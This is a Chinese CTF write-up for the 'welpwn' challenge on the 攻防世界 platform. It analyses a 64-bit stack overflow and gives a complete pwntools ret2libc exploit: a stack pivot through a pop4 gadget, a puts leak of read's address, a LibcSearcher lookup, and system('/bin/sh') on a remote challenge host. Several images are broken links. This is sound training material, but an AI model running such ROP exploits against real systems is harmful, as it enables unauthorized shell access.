[攻防世界]-welpwn
一、直接走流程
确定文件位数、开启的保护机制、文件行为,以下为执行结果
checksec
该文件为64位文件,开启不可执行保护,即数据所在的页面为不可执行
./welpwn
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-klB2XiiE-1670240113383)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221204171332657.png)]
分析文件行为,大致了解文件怎么运行
ida查看伪代码
main函数
echo函数
分析伪代码可知:该程序先往buf区读取最大0x400个字节,再从buf区复制到s2中,s2缓冲区为16字节,因此从buf复制到s2有栈溢出漏洞,这里需要注意的是在向s2中读入字节时遇到’\x00’会停止复制,但构造rop链肯定会有’\x00’,故考虑在buf区构造rop链,利用s2栈的ret返回到buf中。
二、分析
gdb动态调试
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JUHs8JcQ-1670240113385)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221204200707680.png)]
根据调试情况(见上)得到如下的栈空间布局
由于复制过程中遇到’\x00’会停止复制,故在s2中不能出现’\x00’,即无法压入地址参数,因此考虑采取栈连续,用buf区布置ROP链,采用gadget片段实现栈连续。因此以下为一种可行的栈布局图:
这里参考(81条消息) 菜鸟做题记--------welpwn(RCTF2015)_@Return的博客-CSDN博客_welpwn中的一张图来说明栈的运行状态:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XhjNNuLk-1670240113386)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205092912372.png)]
pppp_addr为pop pop pop pop ret指令片段
pop_rdi_addr为pop rdi指令片段
两个片段查看方式如下:
ROPgadget --binary welpwn | grep ‘pop’
ida静态调试
在ida中没有找到现成的后门函数,考虑泄露libc,在libc中查找system函数和’/bin/sh’字符串,因此需要发送两次payload。
第一次:payload = b’a’ * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(put_plt) + p64(main_addr)
返回main函数,用于泄露read真实地址,这里用到了libcsearcher。
第二次:payload = b’a’ * 0x18 +p64(pop4_addr) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)用于执行system(‘bin/sh’)函数
三、构造exp
from pwn import *
from LibcSearcher import *
context = (arch = 'amd64',os = 'linux', log_level = 'debug')
elf = ELF('./welpwn')
p = remote('61.147.171.105', 61954)
read_got = elf.got['read']
put_plt = elf.plt['puts']
main_addr = 0x4007cd #main函数地址,未开启地址随机化,直接ida读取
pop4_addr = 0x40089c #ROPgadget获取
pop_rdi = 0x4008a3 #ROPgadget获取
payload = b'a' * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(put_plt) + p64(main_addr) #泄露read函数的真实地址,注意真实地址不等于调用地址
p.recvuntil('to RCTF\n')
p.sendline(payload)
#这里为什么要多接收三个单位?
#打印0x18 * 'a' + ppp_addr(3个字节),先执行printf函数再执行write函数
p.recvuntil('a' * 0x18)
p.recv(3)
read_Addr = u64(p.recv(6).ljust(8,b"\x00"))
print(hex(read_Addr))
libc = LibcSearcher("read",read_Addr) #推荐手动下载libcsearcher,下载速度快
libc_base = read_Addr - libc.dump('read') #获取lic共享库加载的基地址。偏移统一用dump
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
#64位,传参顺序为rdi,rsi,rdx,rcx,r8,r9
payload = b'a' * 0x18 +p64(pop4_addr) + p64(pop_rdi) + p64(bin_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()
测试结果
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UVlUxP8f-1670240113387)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205193231427.png)]
可见aaaa后面为0x40089三个垃圾字节,为pop4_addr
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wWXA1jy9-1670240113388)(https://picturebad.oss-cn-shenzhen.aliyuncs.com/img/typeroimage-20221205193358448.png)]
四、Tips
libcsearcher推荐手动下载,下载速度快。下载链接:LibcSearcher · PyPI
ropgadget有时候得到的gadget地址存在偏差,可以采取ropper工具
exp中可以声明上下文:context = (arch = ‘amd64’,os = ‘linux’, log_level = ‘debug’)
arch明确为64位架构,os明确操作系统,log_level设置日志的输出等级为debug,方便查看调试信息
泄漏时优先选择write而不是puts函数,因为puts函数遇到’\x00’就停止打印。(这里仍然用了puts函数)
为什么接收6字节?64位地址一般都是低六字节为有效字节,ljust左对齐,末尾补’\x00’,实现该六字节设置为低位
- 泄漏时优先选择write而不是puts函数,因为puts函数遇到’\x00’就停止打印。(这里仍然用了puts函数)
- 为什么接收6字节?64位地址一般都是低六字节为有效字节,ljust左对齐,末尾补’\x00’,实现该六字节设置为低位